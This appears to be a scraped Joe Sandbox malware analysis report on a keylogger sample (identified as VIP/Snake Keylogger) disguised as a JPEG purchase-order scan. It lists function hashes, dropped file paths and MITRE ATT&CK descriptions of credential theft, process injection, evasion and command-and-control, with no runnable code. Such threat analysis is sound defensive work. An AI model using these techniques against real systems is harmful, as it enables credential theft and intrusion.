API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: c2d2261b7d3e93144d2aa54526a7f3fc46b70741f9e0c234186e4b6f59070643
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: E611DD75504284CFDB16CF64D9C4B16BFA2FB84314F24C6AADC494B252C33AD44ACF62

Function 029E5E98 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c232ba2827dd48dfaa915a4357b011aff6bbeaaa4c254bebd138d50bcc3f497
Instruction ID: 2846a71bd2ffe711429d9caf1529dc6d4ac8497eb09d6b763163b7010d588e93
Opcode Fuzzy Hash: 6c232ba2827dd48dfaa915a4357b011aff6bbeaaa4c254bebd138d50bcc3f497
Instruction Fuzzy Hash: 5901F532A001546FCB169EA8A850AEF3FB7EBC9754F18841AF505D7284CE3588168BA0

Function 029EABE0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac6c2b577c1ab4c9a119907ec3b2624696d41d52ff56976e559968c345466d6c
Instruction ID: 66d2c6e6c2e8897996bc8a368a2047456128151f4a92b43c695b1a4e57477947
Opcode Fuzzy Hash: ac6c2b577c1ab4c9a119907ec3b2624696d41d52ff56976e559968c345466d6c
Instruction Fuzzy Hash: A9F0F6317006104B8B175A2E9854A2AB7DEEFC8B59309407AE90BC7372EF20CC038390

Function 029EE8E8 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de51aa007aa004bf3fbd0dfb011a0b01781c2ebdbf5272be3210f7da62889d53
Instruction ID: 778a5227c3e7b395a267a36572eaa95891d9170c2ba53988ae065b1dbd873101
Opcode Fuzzy Hash: de51aa007aa004bf3fbd0dfb011a0b01781c2ebdbf5272be3210f7da62889d53
Instruction Fuzzy Hash: E6012974D0020ADFCF41DFA8E446AAEBBB1EB89304F00806AD814A3355D7345A46CF91

Function 029E28A2 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fcc02c8fe38a81c129d1a9bb98fd9df65b6929588432b1da4df00e67687cd35
Instruction ID: 9986d2fb202d982bd2595baaef4125756844a8fb85381c4fc5670c4c8d639a4d
Opcode Fuzzy Hash: 5fcc02c8fe38a81c129d1a9bb98fd9df65b6929588432b1da4df00e67687cd35
Instruction Fuzzy Hash: 3AE08635E5022AC7CB01EBB4EC441EEB734AFD1325F54451BD0A532151EF306659C796

Function 029E28B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37069514f51b279ea674cb0c9e892109068f5b42d2ba882d3a33f35dc94484fb
Instruction ID: 38500f3bade9f6392afe9a83f925e0f025d31839c3fe1b8d4446b912d8b1d3f2
Opcode Fuzzy Hash: 37069514f51b279ea674cb0c9e892109068f5b42d2ba882d3a33f35dc94484fb
Instruction Fuzzy Hash: 72D01231D2022A578B00AAA5DC044EEB738EE95665B504626D55437140EB70665986A2

Function 029E8EF8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: 4af4fbc9c0e0161d5238522c7c20940eac7096c546a5d5b6e1ae5e8da6049560
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: 45C08C3320C1282AAA36108E7C40EB3BB8DE3C13B4A210537FA1DD3200AC429C8041FA

Function 029E6739 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ad8aa1c92739bea0295d9aad8c3e4900707fd411b35354a84b3ff0661694b2c
Instruction ID: 9a6187c56a298e1bb9b842e661b54e534fc3b556d71968041d4db6802f01eda7
Opcode Fuzzy Hash: 2ad8aa1c92739bea0295d9aad8c3e4900707fd411b35354a84b3ff0661694b2c
Instruction Fuzzy Hash: B2D0C2300083848FC706E374AA836893F319751204B08856090410766FDE34884E8B20

Function 029ED6D4 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df8f59cd315d1db16d40fd6211cdd72852bf99ff26a01274aba97aec95ef7778
Instruction ID: 636516b43cb3c7e863b884be289b1e9b590f3a443480c361cbda1c1555076f54
Opcode Fuzzy Hash: df8f59cd315d1db16d40fd6211cdd72852bf99ff26a01274aba97aec95ef7778
Instruction Fuzzy Hash: 0DD04275E44109CBCF20EFA8E5844DCBB71EB59721B10542ADA29A3255DA349866CF11

Function 029EAFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a53cf44358fde1113ef5e37c07dfe148cc8b06700eee8df8321c418736f50ab
Instruction ID: cbc847317e9cd6d3127d51c18b4d878865c7904030f39355cad6b6b4411936ca
Opcode Fuzzy Hash: 2a53cf44358fde1113ef5e37c07dfe148cc8b06700eee8df8321c418736f50ab
Instruction Fuzzy Hash: C7D0673AB40118DFCB04DF99E8808DDF7B6FB98321B148516E915A3265CA319926DB64

Function 029E6748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0604525ae6296a9a5deb95f19ee21ba5acf33ffa11c0bf3eaf087d42eb00b8d8
Instruction ID: 0d0acd84bb43a95a9ba907e450bea17befea042940781e4731566bcb3461ae72
Opcode Fuzzy Hash: 0604525ae6296a9a5deb95f19ee21ba5acf33ffa11c0bf3eaf087d42eb00b8d8
Instruction Fuzzy Hash: 54C01230444B1D8FC509F765EE46655772EE6807087448920A00507A9DDF749C8A4690

Non-executed Functions

Function 029E2A69 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

Xbq, xrefs: 029E2B57
Xbq, xrefs: 029E2A9E
Xbq, xrefs: 029E2BA4
Xbq, xrefs: 029E2AD8

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq
API String ID: 0-2732225958
Opcode ID: 5463ee517e9fb0afb4427b89632906b143565cc94ba0097f1a8cac2d94ddff42
Instruction ID: 07e80a151f6ff19ed87044f4cf0fee3c43aedc411205a0768bb4f62a18e4c62f
Opcode Fuzzy Hash: 5463ee517e9fb0afb4427b89632906b143565cc94ba0097f1a8cac2d94ddff42
Instruction Fuzzy Hash: 48314F71E042198BDF668F79898136FB7BEAB89300F1444B9C816A7394DB70C981CB92

Function 029E6920 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;^q, xrefs: 029E695E
\;^q, xrefs: 029E6936
\;^q, xrefs: 029E6952
\;^q, xrefs: 029E692C

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID: \;^q$\;^q$\;^q$\;^q
API String ID: 0-3001612457
Opcode ID: 0e50c24613a363454f08f0951c5b5ea2b223a4381bc4a378b50d91bd31651350
Instruction ID: 7a50f58560ebdc103e7fb9c056854ea56076dcf7a70bba3feb84558c31d76ab5
Opcode Fuzzy Hash: 0e50c24613a363454f08f0951c5b5ea2b223a4381bc4a378b50d91bd31651350
Instruction Fuzzy Hash: 86019A31B401048F8F298E2CC544A2937EEABB9A60725486AE447CF3B4DA21EC418750

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\HJnkiZjAPsec.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cqcx0lfj.plp.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jfvikkux.lpe.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wu4lludl.4lu.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zygjjui0.t3g.ps1

C:\Users\user\AppData\Local\Temp\tmpB8C6.tmp

C:\Users\user\AppData\Local\Temp\tmpCB45.tmp

C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Windows Analysis Report
Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre